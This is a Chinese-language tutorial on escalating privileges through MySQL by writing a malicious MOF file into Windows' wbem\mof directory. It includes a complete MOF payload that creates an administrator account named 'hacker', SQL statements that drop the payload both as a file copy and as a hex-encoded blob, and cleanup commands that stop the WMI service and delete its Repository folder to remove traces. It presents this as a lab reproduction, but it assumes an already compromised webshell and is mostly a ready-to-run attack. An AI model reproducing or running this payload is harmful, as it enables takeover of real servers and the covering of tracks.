mysql mof提权
1. 前置知识
- mysql中的secure_file_priv参数
- 使用:
- 当 secure_file_priv=NULL 时,是不允许mysql导出文件的
- 当 secure_file_priv=xxx 时,是只允许mysql将文件导出到xxx目录下的
- 当 secure_file_priv= 时,mysql可以将文件导出到任意目录下
- 该参数在 my.ini 文件中。如要修改,只能通过my.ini文件修改,然后重启mysql。不能够通过sql语句进行修改。
- 注意:
- 在mysql5.5之前 secure_file_priv默认是空,这个情况下可以向任意绝对路径写文件
- 在mysql5.5之后 secure_file_priv默认是NULL,这个情况下不可以写文件
- MOF文件(了解一下即可)
- 托管对象格式(MOF)文件是创建和注册提供程序、事件类别和事件的简便方法。文件路径为:c:/windows/system32/wbme/mof/,其作用是每隔五秒就会去监控进程创建和死亡。
2. mof提权原理及利用条件
- mof提权原理
- C:\WINDOWS\system32\wbem\mof 目录下的mof文件每隔一段时间(几秒左右)就会被系统自动的执行,且为系统权限,因为这个mof里面有一部分是VBS脚本,所以可以利用这个VBS脚本来调用CMD执行系统命令,如果mysql有权限操作mof目录的话,就可以来执行任意命令了。
- 由该原理我们也不难想到:这里mysql的作用就类似于一个桥梁,仅仅用来帮助我们写mof文件而执行mof文件的并不是mysql本身。那么如果存在另一个软件(或往更大的范围说:如果存在另一种方法),我们也可以通过它向C:\WINDOWS\system32\wbem\mof目录中写mof文件的话,也是可以达到同样的效果的,没必要非要是mysql。
- 利用条件
- windows 03及以下版本
- secure-file-priv参数的值 "是空的"
- mysq启动身份具有权限去读写 C:\WINDOWS\system32\wbem\mof 目录
3. 提权复现
3.1 实验环境
- 本实验环境使用的是phpstudy搭建
- php-5.3.29-nts + apache
- mysql版本是:5.5.53 MySQL Community Server (GPL)
- 操作系统版本:windows 2003 sp2 enterprise edition
3.2 开始复现
- 利用姿势其实是有两种:
- 第一种:我们先上传一个包含了恶意VBS代码的mof文件,再使用sql语句将上传的mof文件导出到 C:\WINDOWS\system32\wbem\mof目录下。
- 第二种:我们不上传mof文件,直接通过sql语句将恶意的VBS代码输出到 C:\WINDOWS\system32\wbem\mof 目录下(这个姿势在我们找不到上传点的情况下可以利用)。
- 在这里我们假设已经拿到了网站的webshell,以及数据库的账号密码
3.2.1 第一种姿势
- 我们先把包含了恶意VBS代码的test.mof文件上传到 www 目录下
- 以下是 test.mof 文件中的恶意VBS代码
#pragma namespace("\\\\.\\root\\subscription")
instance of __EventFilter as $EventFilter
{
EventNamespace = "Root\\Cimv2";
Name = "filtP2";
Query = "Select * From __InstanceModificationEvent "
"Where TargetInstance Isa \"Win32_LocalTime\" "
"And TargetInstance.Second = 5";
QueryLanguage = "WQL";
};
instance of ActiveScriptEventConsumer as $Consumer
{
Name = "consPCSV2";
ScriptingEngine = "JScript";
ScriptText =
"var WSH = new ActiveXObject(\"WScript.Shell\")\nWSH.run(\"net.exe user hacker P@ssw0rd /add\")\nWSH.run(\"net.exe localgroup administrators hacker /add\")";
};
instance of __FilterToConsumerBinding
{
Consumer = $Consumer;
Filter = $EventFilter;
};
查看 secure_file_priv 参数,看mysql是否被允许导出文件
- payload:
show variables like "secure_file_priv"
- 发现 mysql可以导出文件
- 注意:
- 我的mysql的版本是5.5.53,该参数应该为 “secure_file_priv=NULL”,在这里为了让实验继续下去,便将参数修改为了“secure_file_priv=”
将test.mof文件中的恶意代码导出到 C:\WINDOWS\system32\wbem\mof 目录下
- payload:
select load_file('C:/phpStudy/WWW/test.mof') into dumpfile 'C:/WINDOWS/system32/wbem/mof/test.mof'
- 可以看到,我们已经成功的将mof文件导出到 C:\WINDOWS\system32\wbem\mof 目录下了
看我们的恶意代码是否被成功执行
- 可以看到hack用户被成功创建,且被移动到了administrators组中
3.2.2 第二种姿势
- 直接通过sql语句将恶意VBS代码写入到 mof目录下
- payload:
- 上面 sql 中 select 后面的字符串是恶意VBS代码的十六进制形式
- 下图是执行的结果
select 0x23707261676D61206E616D65737061636528225C5C5C5C2E5C5C726F6F745C5C737562736372697074696F6E2229200A0A696E7374616E6365206F66205F5F4576656E7446696C74657220617320244576656E7446696C746572200A7B200A202020204576656E744E616D657370616365203D2022526F6F745C5C43696D7632223B200A202020204E616D6520203D202266696C745032223B200A202020205175657279203D202253656C656374202A2046726F6D205F5F496E7374616E63654D6F64696669636174696F6E4576656E742022200A20202020202020202020202022576865726520546172676574496E7374616E636520497361205C2257696E33325F4C6F63616C54696D655C222022200A20202020202020202020202022416E6420546172676574496E7374616E63652E5365636F6E64203D2035223B200A2020202051756572794C616E6775616765203D202257514C223B200A7D3B200A0A696E7374616E6365206F66204163746976655363726970744576656E74436F6E73756D65722061732024436F6E73756D6572200A7B200A202020204E616D65203D2022636F6E735043535632223B200A20202020536372697074696E67456E67696E65203D20224A536372697074223B200A2020202053637269707454657874203D200A2276617220575348203D206E657720416374697665584F626A656374285C22575363726970742E5368656C6C5C22295C6E5753482E72756E285C226E65742E6578652075736572206861636B6572205040737377307264202F6164645C22295C6E5753482E72756E285C226E65742E657865206C6F63616C67726F75702061646D696E6973747261746F7273206861636B6572202F6164645C2229223B200A7D3B200A0A696E7374616E6365206F66205F5F46696C746572546F436F6E73756D657242696E64696E67200A7B200A20202020436F6E73756D65722020203D2024436F6E73756D65723B200A2020202046696C746572203D20244576656E7446696C7465723B200A7D3B0A into dumpfile "C:/windows/system32/wbem/mof/test2.mof"
4. 清除痕迹
- 因为每隔一段时间时间,mof文件会被再次执行以致重新添加用户,所以想要清理痕迹得先暂时关闭 winmgmt服务再删除相关mof文件,这个时候在删除用户才会有效果
- 操作命令如下(已检验可以使用):
- 实操
# 停止 winmgmt 服务
net stop winmgmt
# 删除 Repository 文件夹
rmdir /s /q C:\Windows\system32\wbem\Repository\
# 手动删除 mof 文件
del C:\Windows\system32\wbem\mof\good\test.mof /F /S
# 删除创建的用户
net user hacker /del
# 重新启动服务
net start winmgmt